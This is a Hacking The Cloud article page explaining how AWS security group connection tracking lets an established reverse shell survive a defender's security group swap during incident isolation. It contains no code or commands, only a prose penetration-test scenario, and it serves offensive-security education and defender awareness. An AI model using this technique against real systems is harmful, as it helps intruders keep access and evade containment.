for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/connection-tracking.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=connection-tracking>Connection Tracking<a class=headerlink href=#connection-tracking title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/abusing-aws-connection-tracking/ >Abusing AWS Connection Tracking</a> by <a href=https://twitter.com/frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>Security Groups in AWS have an interesting capability known as <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html>Connection Tracking</a>. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.</p> <p>There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".</p> <p>An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change. </p> <p>Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/inbound-sg.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Inbound SG" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/inbound-sg.png></a></p> </figure> <p>While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple <a href=http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>reverse shell</a>. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS <a href=https://d1.awsstatic.com/whitepapers/aws_security_incident_response.pdf>whitepaper</a> on incident response. </p> <p>As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.</p> <p>The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/change-sg.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Change Security Group" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/change-sg.png></a></p> </figure> <p>The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/whoami.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=whoami loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/whoami.png></a></p> </figure> <p>To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/no-outbound.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="No Outbound" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/no-outbound.png></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 30, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#connection-tracking class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Connection Tracking </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 